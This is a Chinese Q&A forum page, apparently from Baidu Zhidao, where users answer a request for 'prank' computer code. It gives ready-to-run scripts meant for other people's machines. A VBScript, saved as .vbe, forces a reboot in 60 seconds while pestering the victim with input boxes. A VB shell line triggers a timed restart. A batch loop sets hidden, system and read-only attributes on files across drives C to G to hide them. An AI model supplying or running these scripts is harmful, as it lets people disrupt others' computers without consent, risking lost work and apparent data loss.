整人电脑命令代码

来源:百度知道 编辑:UC知道 时间:2024/06/09 08:48:32
比如关机的那个shutdown -s -f -t 30 -c
之类的

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我爱你,不说我爱你就60秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我爱你")
a = inputbox ("说我爱你,就不关机,快撒,说 ""我爱你"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop

记事本复制 后缀名改成vbe 就可以了

用vb代码如下:
shell “shutdown -r -t 30 -c @”
-r 是重启
-c 是注释 @就是要注释的内容

for %%d in (c d e f g)do attrib +s +h +r %%d:*.*
::隐藏所有文件